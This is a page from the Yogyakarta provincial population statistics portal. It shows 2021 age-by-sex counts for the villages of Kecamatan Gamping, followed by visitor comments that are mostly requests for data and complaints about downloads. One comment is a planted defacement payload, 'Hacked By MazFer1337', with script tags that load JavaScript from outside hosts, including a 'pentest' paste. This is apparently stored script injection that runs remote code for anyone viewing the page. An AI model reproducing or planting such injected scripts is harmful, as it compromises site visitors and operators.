Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN GAMPING, KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaBALECATURAMBARKETAWANGBANYURADENNOGOTIRTOTRIHANGGOTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun236201 437221220 441179152 331202170 372181195 3761.019 938 1.957
2 tahun153137 290144127 27110591 196114128 242114130 244630 613 1.243
3 tahun150129 279155151 306113108 221132116 248140123 263690 627 1.317
4 tahun126128 254172151 323112104 216147125 272107113 220664 621 1.285
5 tahun141116 257174176 350108129 237118131 249138124 262679 676 1.355
6 tahun116152 268157152 309123129 252148143 291130113 243674 689 1.363
7 tahun148126 274174144 318112125 237133123 256135118 253702 636 1.338
8 tahun162158 320161141 302144114 258141140 281139133 272747 686 1.433
9 tahun145159 304161166 327143126 269149146 295123140 263721 737 1.458
10 tahun135130 265162164 326119120 239137129 266157167 324710 710 1.420
11 tahun146143 289167177 344116115 231147113 260139137 276715 685 1.400
12 tahun155147 302180189 369156134 290143142 285138139 277772 751 1.523
13 tahun153121 274159157 316123123 246146112 258153114 267734 627 1.361
14 tahun153140 293179171 350121142 263134126 260137126 263724 705 1.429
15 tahun146148 294173180 353132138 270127111 238142150 292720 727 1.447
16 tahun116124 240162180 34211689 205126121 247130141 271650 655 1.305
17 tahun152140 292190162 352118111 229124127 251150120 270734 660 1.394
18 tahun162130 292162166 328116121 237137132 269137127 264714 676 1.390
19 tahun173124 297164180 344110108 218155127 282153129 282755 668 1.423
20 tahun169131 300171141 312139121 260111136 247130144 274720 673 1.393
21 tahun168149 317158183 341106141 247134129 263145147 292711 749 1.460
22 tahun134124 258143131 2749790 187122121 24312699 225622 565 1.187
23 tahun141141 282152145 297121116 237128123 251114123 237656 648 1.304
24 tahun150140 290153146 299116110 226123106 229127118 245669 620 1.289
25 tahun150129 279174146 320101125 226127144 27198134 232650 678 1.328
26 tahun153170 323151161 312126109 235126122 248135132 267691 694 1.385
27 tahun152135 287151164 315113103 216135137 272143127 270694 666 1.360
28 tahun157141 298133140 273108107 215132150 282115112 227645 650 1.295
29 tahun157155 312146175 321115126 241155139 294129152 281702 747 1.449
30 tahun155145 300152155 307115130 245132133 265122124 246676 687 1.363
31 tahun119132 251163142 305122130 252163141 304138119 257705 664 1.369
32 tahun151119 270133151 284115114 229132147 279105125 230636 656 1.292
33 tahun147119 266156146 30210797 204142118 260115115 230667 595 1.262
34 tahun111115 226157150 30799107 206134142 276126126 252627 640 1.267
35 tahun138143 281166171 337124122 246128126 254141134 275697 696 1.393
36 tahun149173 322182174 356121125 246132146 278133142 275717 760 1.477
37 tahun148141 289167197 364119133 252144145 289138140 278716 756 1.472
38 tahun150155 305202186 388169156 325166145 311159164 323846 806 1.652
39 tahun153164 317210177 387136127 263150144 294144162 306793 774 1.567
40 tahun179146 325157197 354136150 286149151 300166151 317787 795 1.582
41 tahun154163 317184198 382137149 286150144 294151139 290776 793 1.569
42 tahun158156 314185189 374138127 265157128 285143120 263781 720 1.501
43 tahun139121 260187164 351141133 274120144 264163136 299750 698 1.448
44 tahun154154 308156182 338148147 295155124 279145170 315758 777 1.535
45 tahun134154 288170183 353141142 283151147 298133144 277729 770 1.499
46 tahun128154 282161177 338115112 227124128 252135142 277663 713 1.376
47 tahun130151 281140155 295122105 227115112 227140120 260647 643 1.290
48 tahun153150 303190186 376134123 257131145 276145147 292753 751 1.504
49 tahun147141 288154150 304113119 232121150 271133141 274668 701 1.369
50 tahun127151 278167158 325118117 235117119 236114121 235643 666 1.309
51 tahun161181 342147172 31911597 212135144 279127139 266685 733 1.418
52 tahun115153 268147151 298126110 236112112 224103110 213603 636 1.239
53 tahun145148 293142154 296106130 236108120 228132147 279633 699 1.332
54 tahun133133 266147156 30389101 190110126 236126124 250605 640 1.245
55 tahun143173 316172151 323101120 221105132 237118158 276639 734 1.373
56 tahun161149 310116134 2508999 188131118 249130112 242627 612 1.239
57 tahun127152 279131145 27683105 18895129 224114100 214550 631 1.181
58 tahun11999 218109134 24390107 197103129 23211497 211535 566 1.101
59 tahun126105 231104129 2338889 177106113 21981104 185505 540 1.045
60 tahun110123 233132132 2647591 166109110 21995104 199521 560 1.081
61 tahun111121 232103124 2277690 166102126 22811093 203502 554 1.056
62 tahun113108 221104132 2367691 1679798 19590102 192480 531 1.011
63 tahun8080 16010299 2019779 1767893 1716894 162425 445 870
64 tahun8596 181110107 2176972 1419794 1917877 155439 446 885
65 tahun9093 1839095 1855574 1298792 1797786 163399 440 839
66 tahun8187 1688879 1677061 1317160 1316684 150376 371 747
67 tahun7957 1367782 1594059 997292 1647569 144343 359 702
68 tahun6674 1407576 1514657 1036652 1186854 122321 313 634
69 tahun4452 966158 1193850 886456 1203548 83242 264 506
70 tahun5146 974258 1004332 755756 1133641 77229 233 462
71 tahun5049 994949 984031 714347 904134 75223 210 433
72 tahun4245 873655 913236 683743 802256 78169 235 404
73 tahun3334 673039 692516 411935 543132 63138 156 294
74 tahun1442 562737 641729 462633 592424 48108 165 273
75 tahun2337 602733 601628 443133 643222 54129 153 282
76 tahun2536 612935 641821 392625 511924 43117 141 258
77 tahun2436 602524 491616 321821 391328 4196 125 221
78 tahun2227 493439 732014 341720 372340 63116 140 256
79 tahun1513 282020 40818 262022 422819 4791 92 183
80 ke atas108184 292123164 28786117 203100117 217116168 284533 750 1.283
Jumlah9.9199.84819.76710.88711.13722.0248.0288.13216.1609.1089.09618.2048.9869.09918.085 46.928 47.312 94.240
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih